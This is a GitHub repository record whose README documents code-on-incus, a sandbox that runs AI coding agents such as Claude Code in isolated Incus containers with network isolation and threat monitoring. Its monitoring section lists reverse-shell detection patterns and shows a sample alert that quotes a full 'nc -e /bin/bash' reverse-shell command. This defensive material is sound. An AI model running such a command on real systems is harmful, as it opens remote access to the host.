{"id":44922635,"url":"https://github.com/mensfeld/code-on-incus","last_synced_at":"2026-03-10T13:12:52.876Z","repository":{"id":331692443,"uuid":"1129585228","full_name":"mensfeld/code-on-incus","owner":"mensfeld","description":"Run coding agents in isolated Incus containers (sandboxes) with session persistence, workspace isolation, and multi-slot support.","archived":false,"fork":false,"pushed_at":"2026-02-12T14:40:17.000Z","size":4577,"stargazers_count":235,"open_issues_count":14,"forks_count":15,"subscribers_count":2,"default_branch":"master","last_synced_at":"2026-02-12T23:09:53.224Z","etag":null,"topics":["ai-tools","anthropic","claude","claude-code","cli","coding-assistant","containers","developer-tools","devtools","incus","llm-security","llm-tools","lxc","opencode","sandbox","sandboxing","security"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mensfeld.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-01-07T09:47:42.000Z","updated_at":"2026-02-12T22:45:40.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/mensfeld/code-on-incus","commit_stats":null,"previous_names":["mensfeld/claude-on-incus","mensfeld/code-on-incus"],"tags_count":7,"template":false,"template_full_name":null,"purl":"pkg:github/mensfeld/code-on-incus","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mensfeld%2Fcode-on-incus","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mensfeld%2Fcode-on-incus/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mensfeld%2Fcode-on-incus/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mensfeld%2Fcode-on-incus/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mensfeld","download_url":"https://codeload.github.com/mensfeld/code-on-incus/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mensfeld%2Fcode-on-incus/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29567602,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-18T00:47:08.760Z","status":"online","status_checked_at":"2026-02-18T02:00:09.468Z","response_time":162,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai-tools","anthropic","claude","claude-code","cli","coding-assistant","containers","developer-tools","devtools","incus","llm-security","llm-tools","lxc","opencode","sandbox","sandboxing","security"],"created_at":"2026-02-18T03:41:12.331Z","updated_at":"2026-03-10T13:12:52.868Z","avatar_url":"https://github.com/mensfeld.png","language":"Python","funding_links":[],"categories":["AI"],"sub_categories":["Agents"],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"misc/logo.png\" alt=\"Code on Incus Logo\" width=\"350\"\u003e\n\u003c/p\u003e\n\n# code-on-incus (`coi`)\n\n[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)\n[![Go Version](https://img.shields.io/github/go-mod/go-version/mensfeld/code-on-incus)](https://golang.org/)\n[![Latest Release](https://img.shields.io/github/v/release/mensfeld/code-on-incus)](https://github.com/mensfeld/code-on-incus/releases)\n\n**Security-Hardened Container Runtime for AI Coding Agents with Real-Time Threat Detection**\n\nRun AI coding assistants (Claude Code, opencode, Aider, and more) in isolated, production-grade Incus containers with zero permission headaches, perfect file ownership, and true multi-session support.\n\n**Limited Blast Radius:** Prepare your workspace upfront, let the AI agent run in isolation, validate the outcome. No SSH keys, no environment variables, no credentials exposed. If compromised, damage is contained to your workspace. Network isolation helps prevent data exfiltration. Your host system stays protected.\n\n**Security First:** Unlike Docker or bare-metal execution, your environment variables, SSH keys, and Git credentials are **never** exposed to AI tools. Containers run in complete isolation with no access to your host credentials unless explicitly mounted.\n\n**Proactive Defense:** COI doesn't just isolate AI tools — it can actively watch them. Enable the built-in security monitoring daemon (`--monitor`) to detect reverse shells, credential scanning, and large data reads in real time, automatically pausing or killing the container before damage can occur. No manual intervention needed.\n\n*Think Docker for AI coding tools, but with system containers that actually work like real machines.*\n\n![Demo](misc/demo.gif)\n\n## Table of Contents\n\n- [Supported AI Coding Tools](#supported-ai-coding-tools)\n- [Supported Tools (detailed)](https://github.com/mensfeld/code-on-incus/wiki/Supported-Tools)\n- [Features](#features)\n- [Quick Start](#quick-start)\n- [Why Incus Instead of Docker or Docker Sandboxes?](#why-incus-instead-of-docker-or-docker-sandboxes)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Session Resume](#session-resume)\n- [Persistent Mode](#persistent-mode)\n- [Configuration](#configuration)\n- [System Health Check](https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check)\n- [Container Lifecycle \u0026 Session Persistence](https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions)\n- [Network Isolation](https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation)\n- [Security Monitoring](#security-monitoring)\n- [Resource and Time Limits](https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits)\n- [Security Best Practices](https://github.com/mensfeld/code-on-incus/wiki/Security-Best-Practices)\n- [Troubleshooting](https://github.com/mensfeld/code-on-incus/wiki/Troubleshooting)\n- [FAQ](https://github.com/mensfeld/code-on-incus/wiki/FAQ)\n\n## Supported AI Coding Tools\n\nCurrently supported:\n- **Claude Code** (default) - Anthropic's official CLI tool\n- **opencode** - Open-source AI coding agent (https://opencode.ai)\n\nComing soon:\n- Aider - AI pair programming in your terminal\n- Cursor - AI-first code editor\n- And more...\n\n**Tool selection:**\n```bash\ncoi shell                    # Uses default tool (Claude Code)\ncoi shell --tool opencode    # Use opencode instead\n```\n\n**Permission mode** - Control whether AI tools run autonomously or ask before each action:\n```toml\n# ~/.config/coi/config.toml or .coi.toml\n[tool]\nname = \"claude\"              # Default AI tool\npermission_mode = \"bypass\"   # \"bypass\" (default) or \"interactive\"\n```\n\nSee the [Supported Tools wiki page](https://github.com/mensfeld/code-on-incus/wiki/Supported-Tools) for detailed configuration, API key setup, and adding new tools.\n\n## Features\n\n**Core Capabilities**\n- Multi-slot support - Run parallel AI coding sessions for the same workspace with full isolation\n- Session resume - Resume conversations with full history and credentials restored (workspace-scoped)\n- Persistent containers - Keep containers alive between sessions (installed tools preserved)\n- Workspace isolation - Each session mounts your project directory\n- Slot isolation - Each parallel slot has its own home directory (files don't leak between slots)\n- **Workspace files persist even in ephemeral mode** - Only the container is deleted, your work is always saved\n- Container snapshots - Create checkpoints, rollback changes, and branch experiments with full state preservation\n\n**Security \u0026 Isolation**\n- Credential protection - SSH keys, `.env` files, Git credentials, and environment variables are **never** exposed unless explicitly mounted\n- Real-time threat detection - Kernel-level nftables monitoring detects reverse shells, C2 connections, data exfiltration, DNS tunneling, and credential scanning\n- Automated response - Auto-pause on HIGH threats, auto-kill on CRITICAL — no manual intervention needed\n- Network isolation - Firewalld-based restricted/allowlist/open modes block private network access and prevent exfiltration\n- Protected paths - `.git/hooks`, `.git/config`, `.husky`, `.vscode` mounted read-only to prevent supply-chain attacks\n- System containers - Full OS isolation with unprivileged containers, better than Docker privileged mode\n- Automatic UID mapping - No permission hell, files owned correctly\n- Audit logging - All security events logged to JSONL for forensics and compliance\n\n**Safe Dangerous Operations**\n- AI coding tools often need broad filesystem access or bypass permission checks\n- **These operations are safe inside containers** because the \"root\" is the container root, not your host system\n- Containers are ephemeral - any changes are contained and don't affect your host\n- This gives AI tools full capabilities while keeping your system protected\n\n## Quick Start\n\n```bash\n# Install\ncurl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash\n\n# Build image (first time only, ~5-10 minutes)\ncoi build\n\n# Start coding with your preferred AI tool (defaults to Claude Code)\ncd your-project\ncoi shell\n\n# Or use opencode instead\ncoi shell --tool opencode\n\n# That's it! Your AI coding assistant is now running in an isolated container with:\n# - Your project mounted at /workspace\n# - Correct file permissions (no more chown!)\n# - Full Docker access inside the container\n# - GitHub CLI available for PR/issue management\n# - All workspace changes persisted automatically\n# - No access to your host SSH keys, env vars, or credentials\n```\n\n\n## Why Incus Instead of Docker or Docker Sandboxes?\n\n### What is Incus?\n\nIncus is a modern Linux container and virtual machine manager, forked from LXD. Unlike Docker (which uses application containers), Incus provides **system containers** that behave like lightweight VMs with full init systems.\n\n### Security Comparison\n\n| Capability | **code-on-incus** | Docker Sandbox | Bare Metal |\n|------------|-------------------|----------------|------------|\n| **Credential isolation** | Default (never exposed) | Partial | None |\n| **Real-time threat detection** | Kernel-level (nftables) | No | No |\n| **Reverse shell detection** | Auto-kill | No | No |\n| **Data exfiltration alerts** | Auto-pause | No | No |\n| **Network isolation** | Firewalld (3 modes) | Basic | No |\n| **Protected paths** | Read-only mounts | No | No |\n| **Auto response (pause/kill)** | Yes | No | No |\n| **Audit logging** | JSONL forensics | No | No |\n| **Supply-chain attack prevention** | Git hooks/IDE configs protected | No | No |\n\n### Why Incus Instead of Docker Sandboxes?\n\n- **Linux-first, not Linux-last.** Docker Sandboxes' microVM isolation is only available on macOS and Windows. Linux gets a legacy container-based fallback. COI is built for Linux from the ground up because Incus is Linux-native.\n\n- **No Docker Desktop required.** Docker Sandboxes is a Docker Desktop feature. Docker Desktop is not open source and has commercial licensing requirements for larger organizations. COI depends only on Incus - fully open source, no vendor lock-in, no additional runtime.\n\n- **System containers, not containers-in-VMs.** Incus system containers run a full OS with systemd and native Docker support inside - one clean isolation layer. Docker Sandboxes nests application containers inside microVMs, adding architectural complexity.\n\n- **No permission hell.** Incus automatic UID/GID shifting means files created by agents have correct ownership on the host. No `chown`, no mapping hacks.\n\n- **Credential isolation by default.** Host environment variables, SSH keys, and Git credentials are never exposed to AI tools unless explicitly mounted.\n\n- **Simple and transparent.** No separate daemon, no opaque VM nesting. COI talks directly to Incus - easy to inspect, debug, and extend.\n\n### Key Differences from Docker\n\n| Feature | **code-on-incus (Incus)** | Docker |\n|---------|---------------------------|--------|\n| **Container Type** | System containers (full OS) | Application containers |\n| **Init System** | Full systemd/init | No init (single process) |\n| **UID Mapping** | Automatic UID shifting | Manual mapping required |\n| **Security** | Unprivileged by default | Often requires privileged mode |\n| **File Permissions** | Preserved (UID shifting) | Host UID conflicts |\n| **Startup Time** | ~1-2 seconds | ~0.5-1 second |\n| **Docker-in-Container** | Native support | Requires DinD hacks |\n\n### Benefits\n\n- **No Permission Hell** - Incus automatically maps container UIDs to host UIDs. Files created by AI tools in-container have correct ownership on host. No `chown` needed.\n\n- **True Isolation** - Full system container means AI tools can run Docker, systemd services, etc. Safer than Docker's privileged mode.\n\n- **Persistent State** - System containers can be stopped/started without data loss. Ideal for long-running AI coding sessions.\n\n- **Resource Efficiency** - Share kernel like Docker, lower overhead than VMs, better density for parallel sessions.\n\n## Installation\n\n### Automated Installation (Recommended)\n\n```bash\n# One-shot install\ncurl -fsSL https://raw.githubusercontent.com/mensfeld/code-on-incus/master/install.sh | bash\n\n# This will:\n# - Download and install coi to /usr/local/bin\n# - Check for Incus installation\n# - Verify you're in incus-admin group\n# - Show next steps\n```\n\n### Manual Installation\n\nFor users who prefer to verify each step or cannot use the automated installer:\n\n**Prerequisites:**\n\n1. **Linux OS** - Only Linux is supported (Incus is Linux-only)\n   - Supported architectures: x86_64/amd64, aarch64/arm64\n\n2. **Incus installed and initialized**\n\n   **Ubuntu/Debian:**\n   ```bash\n   sudo apt update\n   sudo apt install -y incus\n   ```\n\n   **Arch/Manjaro:**\n   ```bash\n   sudo pacman -S incus\n\n   # Enable and start the service (not auto-started on Arch)\n   sudo systemctl enable --now incus.socket\n\n   # Configure idmap for unprivileged containers\n   echo \"root:1000000:1000000000\" | sudo tee -a /etc/subuid\n   echo \"root:1000000:1000000000\" | sudo tee -a /etc/subgid\n   sudo systemctl restart incus.service\n   ```\n\n   See [Incus installation guide](https://linuxcontainers.org/incus/docs/main/installing/) for other distributions.\n\n   **Initialize Incus (all distros):**\n   ```bash\n   sudo incus admin init --auto\n   ```\n\n3. **User in incus-admin group**\n   ```bash\n   sudo usermod -aG incus-admin $USER\n   # Log out and back in for group changes to take effect\n   ```\n\n**Installation Steps:**\n\n1. **Download the binary** for your platform:\n   ```bash\n   # For x86_64/amd64\n   curl -fsSL -o coi https://github.com/mensfeld/code-on-incus/releases/latest/download/coi-linux-amd64\n\n   # For aarch64/arm64\n   curl -fsSL -o coi https://github.com/mensfeld/code-on-incus/releases/latest/download/coi-linux-arm64\n   ```\n\n2. **Verify the download** (optional but recommended):\n   ```bash\n   # Check file size and type\n   ls -lh coi\n   file coi\n   ```\n\n3. **Install the binary**:\n   ```bash\n   chmod +x coi\n   sudo mv coi /usr/local/bin/\n   sudo ln -sf /usr/local/bin/coi /usr/local/bin/claude-on-incus\n   ```\n\n4. **Verify installation**:\n   ```bash\n   coi --version\n   ```\n\n**Alternative: Build from Source**\n\nIf you prefer to build from source or need a specific version:\n\n**Build Dependencies:**\n```bash\n# Required: Go 1.24.4 or later\nsudo apt-get install golang-go\n\n# Optional: For NFT network monitoring support\n# (Not needed if you only use process/filesystem monitoring)\nsudo apt-get install libsystemd-dev\n```\n\n**Build and Install:**\n```bash\ngit clone https://github.com/mensfeld/code-on-incus.git\ncd code-on-incus\nmake build\nsudo make install\n```\n\n**Note:** If you don't have `libsystemd-dev` installed, the build will still succeed but NFT network monitoring features won't be available. Process monitoring, filesystem monitoring, and all core features will work normally.\n\n**Post-Install Setup:**\n\n1. **Optional: Set up ZFS for instant container creation**\n   ```bash\n   # Install ZFS\n   # Ubuntu/Debian (may not be available for all kernels):\n   sudo apt-get install -y zfsutils-linux\n\n   # Arch/Manjaro (replace 617 with your kernel version from uname -r):\n   # sudo pacman -S linux617-zfs zfs-utils\n\n   # Create ZFS storage pool (50GiB)\n   sudo incus storage create zfs-pool zfs size=50GiB\n\n   # Configure default profile to use ZFS\n   incus profile device set default root pool=zfs-pool\n   ```\n\n   This reduces container startup time from 5-10s to ~50ms. If ZFS is not available, containers will use default storage (slower but fully functional).\n\n2. **Verify group membership** (must be done in a new shell/login):\n   ```bash\n   groups | grep incus-admin\n   ```\n\n**Troubleshooting:**\n\n- **\"Permission denied\" errors**: Ensure you're in the `incus-admin` group and have logged out/in\n- **\"incus: command not found\"**: Install Incus following the [official guide](https://linuxcontainers.org/incus/docs/main/installing/)\n- **Cannot download binary**: Check your internet connection and GitHub access, or build from source\n\n### Build Images\n\n```bash\n# Build the unified coi image (5-10 minutes)\ncoi build\n\n# Custom image from your own build script\ncoi build custom my-rust-image --script build-rust.sh\ncoi build custom my-image --base coi --script setup.sh\n```\n\n**What's included in the `coi` image:**\n- Ubuntu 22.04 base\n- Docker (full Docker-in-container support)\n- Node.js 20 + npm\n- Claude Code CLI (default AI tool)\n- GitHub CLI (`gh`)\n- tmux for session management\n- Common build tools (git, curl, build-essential, etc.)\n\n**Custom images:** Build your own specialized images using build scripts that run on top of the base `coi` image.\n\n## macOS Support\n\n**✅ COI works on macOS** using [Colima](https://github.com/abiosoft/colima) or [Lima](https://github.com/lima-vm/lima) VMs.\n\nSee the [macOS Setup Guide](https://github.com/mensfeld/code-on-incus/wiki/macOS-Setup-Guide) for complete instructions including:\n- Colima/Lima installation and setup\n- Automatic environment detection\n- Network configuration (`--network=open` required)\n- AWS Bedrock setup for macOS users\n\n**Quick start:**\n```bash\nbrew install colima\ncolima start --cpu 4 --memory 8 --disk 50\ncolima ssh\n# Follow installation steps in the guide\n```\n\n## Usage\n\n### Basic Commands\n\n```bash\n# Interactive session (defaults to Claude Code)\ncoi shell\n\n# Use a different AI tool\ncoi shell --tool opencode\n\n# Persistent mode - keep container between sessions\ncoi shell --persistent\n\n# Use specific slot for parallel sessions\ncoi shell --slot 2\n\n# Enable security monitoring\ncoi shell --monitor\n\n# Resume previous session (auto-detects latest for this workspace)\ncoi shell --resume\n\n# Resume specific session by ID\ncoi shell --resume=\u003csession-id\u003e\n\n# Run a command in an ephemeral container\ncoi run \"npm test\"\ncoi run \"pytest\" --capture --format json\n\n# Attach to existing session\ncoi attach\n\n# List active containers and saved sessions\ncoi list --all\n\n# Show detailed session information\ncoi info\ncoi info \u003csession-id\u003e\n\n# Resume a paused/frozen container (e.g., after security monitor auto-pause)\ncoi resume \u003ccontainer-name\u003e\n\n# Convert a running ephemeral session to persistent\ncoi persist\n\n# Gracefully shutdown specific container (60s timeout)\ncoi shutdown coi-abc12345-1\n\n# Shutdown with custom timeout\ncoi shutdown --timeout=30 coi-abc12345-1\n\n# Shutdown all containers\ncoi shutdown --all\n\n# Force kill specific container (immediate)\ncoi kill coi-abc12345-1\n\n# Kill all containers\ncoi kill --all\n\n# Cleanup stopped containers and orphaned resources (veths, firewall rules, zone bindings)\ncoi clean\n\n# Execute commands in containers with PTY support\ncoi container exec mycontainer -t -- bash        # Interactive shell with PTY\ncoi container exec mycontainer -- echo \"hello\"   # Non-interactive command\n\n# List all containers (low-level, for programmatic use)\ncoi container list                               # Text format (default)\ncoi container list --format=json                 # JSON format\n\n# Transfer files between host and containers\ncoi file push ./config.json mycontainer:/workspace/config.json\ncoi file push -r ./src mycontainer:/workspace/src\ncoi file pull mycontainer:/workspace/output.log ./output.log\ncoi file pull -r mycontainer:/root/.claude ./backup/\n\n# Manage custom images\ncoi image list                                   # List COI images\ncoi image list --all                             # List all local images\ncoi image list --prefix myproject- --format=json # Filter and output as JSON\ncoi image publish mycontainer my-custom-image    # Publish container as image\ncoi image exists my-custom-image                 # Check if image exists\ncoi image delete my-old-image                    # Delete image\ncoi image cleanup myproject- --keep 3            # Keep only 3 most recent versions\n```\n\n### Global Flags\n\n```bash\n--workspace PATH        # Workspace directory to mount (default: current directory)\n--slot NUMBER           # Slot number for parallel sessions (0 = auto-allocate)\n--persistent            # Keep container between sessions\n--resume [SESSION_ID]   # Resume from session (omit ID to auto-detect latest for workspace)\n--continue [SESSION_ID] # Alias for --resume\n--profile NAME          # Use named profile\n--image NAME            # Use custom image (default: coi)\n--env KEY=VALUE         # Set environment variables (repeatable)\n--mount HOST:CONTAINER  # Mount directory into container (repeatable)\n--network MODE          # Network mode: restricted (default), allowlist, open\n--monitor               # Enable security monitoring with automatic threat response\n--writable-git-hooks    # Allow container to write to .git/hooks (disables protection)\n```\n\n### Advanced Usage\n\nSee the wiki for detailed documentation on advanced features:\n\n- **[Container Operations](https://github.com/mensfeld/code-on-incus/wiki/Container-Operations)** - Container management and low-level operations\n- **[File Transfer](https://github.com/mensfeld/code-on-incus/wiki/File-Transfer)** - Push/pull files between host and containers\n- **[Tmux Automation](https://github.com/mensfeld/code-on-incus/wiki/Tmux-Automation)** - Automate AI sessions with tmux commands\n- **[Image Management](https://github.com/mensfeld/code-on-incus/wiki/Image-Management)** - Create and manage custom images\n\n### Snapshot Management\n\nSee the [Snapshot Management guide](https://github.com/mensfeld/code-on-incus/wiki/Snapshot-Management) for complete documentation on snapshots.\n\n**Quick reference:**\n```bash\ncoi snapshot create checkpoint-1    # Create named snapshot\ncoi snapshot list                   # List snapshots\ncoi snapshot restore checkpoint-1   # Restore (container must be stopped)\ncoi snapshot delete checkpoint-1    # Delete snapshot\n```\n\n## Session Resume\n\nSession resume allows you to continue a previous AI coding session with full history and credentials restored.\n\n**Usage:**\n```bash\n# Auto-detect and resume latest session for this workspace\ncoi shell --resume\n\n# Resume specific session by ID\ncoi shell --resume=\u003csession-id\u003e\n\n# Alias: --continue works the same\ncoi shell --continue\n\n# List available sessions\ncoi list --all\n```\n\n**What's Restored:**\n- Full conversation history from previous session\n- Tool credentials and authentication (no re-authentication needed)\n- User settings and preferences\n- Project context and conversation state\n\n**How It Works:**\n- After each session, tool state directory (e.g., `.claude`) is automatically saved to `~/.coi/sessions-\u003ctool\u003e/`\n- On resume, session data is restored to the container before the tool starts\n- Fresh credentials are injected from your host config directory\n- The AI tool automatically continues from where you left off\n\n**Workspace-Scoped Sessions:**\n- `--resume` only looks for sessions from the **current workspace directory**\n- Sessions from other workspaces are never considered (security feature)\n- This prevents accidentally resuming a session with a different project context\n- Each workspace maintains its own session history\n\n**Note:** Resume works for both ephemeral and persistent containers. For ephemeral containers, the container is recreated but the conversation continues seamlessly.\n\n## Persistent Mode\n\nBy default, containers are **ephemeral** (deleted on exit). Your **workspace files always persist** regardless of mode.\n\nEnable **persistent mode** to also keep the container and its installed packages:\n\n**Via CLI:**\n```bash\ncoi shell --persistent\n```\n\n**Via config (recommended):**\n```toml\n# ~/.config/coi/config.toml\n[defaults]\npersistent = true\n```\n\n**Benefits:**\n- Install once, use forever - `apt install`, `npm install`, etc. persist\n- Faster startup - Reuse existing container instead of rebuilding\n- Build artifacts preserved - No re-compiling on each session\n\n**Coding Machines Concept:**\n\nThink of persistent containers as dedicated coding machines owned by the AI agents. The agent can freely install software, configure tools, modify the environment—it's their machine. Your workspace is mounted into their machine, they do the work, and you get the results back. This autonomy lets agents work efficiently without repeatedly setting up their environment, while your host system stays protected.\n\n**What persists:**\n- **Ephemeral mode:** Workspace files + session data (container deleted)\n- **Persistent mode:** Workspace files + session data + container state + installed packages, system setup\n\n## Configuration\n\nConfig file: `~/.config/coi/config.toml`\n\n```toml\n[defaults]\nimage = \"coi\"\npersistent = true\nmount_claude_config = true\n\n[tool]\nname = \"claude\"  # AI coding tool to use: \"claude\" (default) or \"opencode\"\npermission_mode = \"bypass\"  # \"bypass\" (default) or \"interactive\"\n# binary = \"claude\"  # Optional: override binary name\n\n[paths]\n# Note: sessions_dir is deprecated - tool-specific dirs are now used automatically\n# (e.g., ~/.coi/sessions-claude/, ~/.coi/sessions-aider/)\nsessions_dir = \"~/.coi/sessions\"  # Legacy path (not used for new sessions)\nstorage_dir = \"~/.coi/storage\"\n\n[incus]\nproject = \"default\"\ngroup = \"incus-admin\"\nclaude_uid = 1000\n\n[profiles.rust]\nimage = \"coi-rust\"\nenvironment = { RUST_BACKTRACE = \"1\" }\npersistent = true\n```\n\n**Configuration hierarchy** (highest precedence last):\n1. Built-in defaults\n2. System config (`/etc/coi/config.toml`)\n3. User config (`~/.config/coi/config.toml`)\n4. Project config (`./.coi.toml`)\n5. CLI flags\n\n\n## Resource and Time Limits\n\nSee the [Resource and Time Limits guide](https://github.com/mensfeld/code-on-incus/wiki/Resource-and-Time-Limits) for complete documentation on controlling container resource consumption and runtime.\n\n**Quick example:**\n```bash\n# Limit CPU, memory, and runtime\ncoi shell --limit-cpu=\"2\" --limit-memory=\"2GiB\" --limit-duration=\"2h\"\n```\n\n**What you can limit:**\n- CPU cores and usage percentage\n- Memory and swap\n- Disk I/O rates\n- Maximum runtime and process count\n- Auto-stop on time limits\n\n\n## Container Lifecycle \u0026 Session Persistence\n\nSee the [Container Lifecycle and Sessions guide](https://github.com/mensfeld/code-on-incus/wiki/Container-Lifecycle-and-Sessions) for detailed explanation of how containers and sessions work.\n\n**Key concepts:**\n- **Workspace files**: Always saved (regardless of mode)\n- **Session data**: Always saved to `~/.coi/sessions-\u003ctool\u003e/`\n- **Ephemeral mode** (default): Container deleted after exit, session preserved\n- **Persistent mode** (`--persistent`): Container kept with all installed packages\n- **Resume** (`--resume`): Restore AI conversation in fresh/existing container\n\n**Quick reference:**\n```bash\ncoi shell --persistent        # Keep container between sessions\ncoi shell --resume            # Resume previous conversation\ncoi attach                    # Reconnect to running container\ncoi persist                   # Convert ephemeral session to persistent\ncoi resume \u003cname\u003e             # Resume paused/frozen container\nsudo poweroff                 # Properly stop container (inside)\ncoi shutdown \u003cname\u003e           # Graceful stop (outside)\n```\n\n## Network Isolation\n\nSee the [Network Isolation guide](https://github.com/mensfeld/code-on-incus/wiki/Network-Isolation) for complete documentation on network security and firewalld setup.\n\n**Network modes:**\n- **Restricted (default)** - Blocks private networks, allows internet\n- **Allowlist** - Only specific domains/IPs allowed\n- **Open** - No restrictions (trusted projects only)\n\n**Quick examples:**\n```bash\ncoi shell                      # Restricted mode (default)\ncoi shell --network=allowlist  # Allowlist mode\ncoi shell --network=open       # Open mode\n```\n\n**Docker Registry Access:**\n\nDocker registries (docker.io, ghcr.io, etc.) are accessible in **restricted mode** by default. In **allowlist mode**, you'll need to add registry domains to your allowlist config:\n\n```toml\n# ~/.config/coi/config.toml\n[network]\nmode = \"allowlist\"\nallowed_domains = [\n  \"registry-1.docker.io\",\n  \"auth.docker.io\",\n  \"production.cloudflare.docker.com\"\n]\n```\n\n```bash\n# Or use open mode for the session\ncoi shell --network=open\n```\n\nThe `code` user has **passwordless sudo** access, so Docker commands work without password prompts:\n```bash\nsudo docker pull alpine\nsudo docker run -it alpine sh\n```\n\n**Accessing container services from host:**\n```bash\ncoi list  # Get container IP\ncurl http://\u003ccontainer-ip\u003e:3000\n```\n\n**Note:** Network isolation requires firewalld. Use `--network=open` or see the guide for firewalld setup instructions.\n\n## Security Monitoring\n\n`coi` includes **built-in security monitoring** to detect and respond to malicious behavior in real-time. Enable it with the `--monitor` flag or via config to activate threat detection and automated response:\n\n```bash\n# Enable via CLI flag\ncoi shell --monitor\n\n# Or enable permanently in config\n# ~/.config/coi/config.toml\n# [monitoring]\n# enabled = true\n```\n\n**Protects against:**\n\n**Threat Detection:**\n- **Reverse shells** - Detects `nc -e`, `bash -i \u003e\u0026 /dev/tcp/`, Python/Perl/Ruby reverse shell patterns\n- **Data exfiltration** - Monitors large workspace reads and writes that may indicate code theft or data packaging attempts\n- **Environment scanning** - Flags processes searching for API keys, secrets, and credentials\n- **Network threats (NFT)** - Real-time kernel-level detection of:\n  - Connections to private networks (RFC1918)\n  - Cloud metadata endpoint access (169.254.169.254)\n  - Suspicious ports (4444, 5555, 31337 - common C2/backdoor ports)\n  - Allowlist violations\n  - DNS query anomalies (tunneling, unexpected servers)\n  - Short-lived connections (\u003c2s) missed by polling\n\n**Automated Response:**\n- **INFO**: Logged for review\n- **WARNING**: Logged + displayed as alert\n- **HIGH**: Logged + alert + **container paused** (requires manual resume)\n- **CRITICAL**: Logged + alert + **container killed immediately**\n\n**View Real-Time Monitoring:**\n```bash\n# Monitor a running container\ncoi monitor coi-abc-1\n\n# Watch mode (updates every 2 seconds)\ncoi monitor coi-abc-1 --watch 2\n\n# JSON output for scripting\ncoi monitor coi-abc-1 --json\n```\n\n**Review Audit Log:**\n```bash\n# Audit logs are stored in JSONL format\ncat ~/.coi/audit/\u003ccontainer-name\u003e.jsonl\n\n# Filter by severity\ncat ~/.coi/audit/\u003ccontainer-name\u003e.jsonl | grep '\"level\":\"critical\"'\ncat ~/.coi/audit/\u003ccontainer-name\u003e.jsonl | grep '\"level\":\"high\"'\n```\n\n**Example Alert:**\n```\n⚠ SECURITY ALERT [CRITICAL]\nReverse shell detected\n\nProcess 'nc -e /bin/bash 192.168.1.100 4444' (PID 1235) matches reverse shell pattern 'nc -e'\n\n→ Action taken: killed\n→ Logged to audit: ~/.coi/audit/coi-abc-1.jsonl\n```\n\n**Configuration:**\n```toml\n# ~/.config/coi/config.toml\n[monitoring]\nenabled = true                    # Enable monitoring (or use --monitor flag per-session)\nauto_pause_on_high = true        # Pause on high-severity threats\nauto_kill_on_critical = true     # Kill on critical threats\npoll_interval_sec = 2            # Monitoring frequency\nfile_read_threshold_mb = 50.0    # MB read before alerting\nfile_read_rate_mb_per_sec = 10.0 # Sustained read rate threshold\nfile_write_threshold_mb = 50.0   # MB written before alerting\nfile_write_rate_mb_per_sec = 10.0 # Sustained write rate threshold\naudit_log_retention_days = 30    # Audit log retention\n\n[monitoring.nft]\nenabled = true                   # Enable nftables network monitoring\nrate_limit_per_second = 100      # Log volume limit\ndns_query_threshold = 100        # Alert on \u003eN DNS queries/min\nlog_dns_queries = true           # Separate DNS logging\nlima_host = \"\"                   # For macOS: \"lima-default\"\n```\n\n**Audit logs** are stored at `~/.coi/audit/\u003ccontainer-name\u003e.jsonl` in JSON Lines format for forensics and compliance.\n\n### NFT Network Monitoring Setup\n\nNFT monitoring requires additional system dependencies. Install them with:\n\n```bash\n# Run the setup script (requires sudo)\n./scripts/install-nft-deps.sh\n\n# Or manually:\nsudo apt-get install -y libsystemd-dev nftables\nsudo usermod -a -G systemd-journal $USER\n\n# Configure passwordless sudo for nft commands\necho '%incus-admin ALL=(ALL) NOPASSWD: /usr/sbin/nft' | sudo tee /etc/sudoers.d/coi-nft\nsudo chmod 0440 /etc/sudoers.d/coi-nft\n\n# IMPORTANT: Log out and log back in for group membership to take effect\n# Or run: newgrp systemd-journal\n```\n\n**Verify setup:**\n```bash\n# Check NFT monitoring status\ncoi health\n\n# Test journal access\njournalctl -k -n 10\n\n# Test nftables access\nsudo -n nft list ruleset\n```\n\n**Required packages:**\n- `libsystemd-dev` - systemd development headers for journald integration\n- `nftables` - kernel-level packet filtering for network monitoring\n- systemd-journal group membership - read kernel logs without sudo\n- Passwordless sudo for nft commands - add/remove rules without prompts\n\n## Security Best Practices\n\nSee the [Security Best Practices 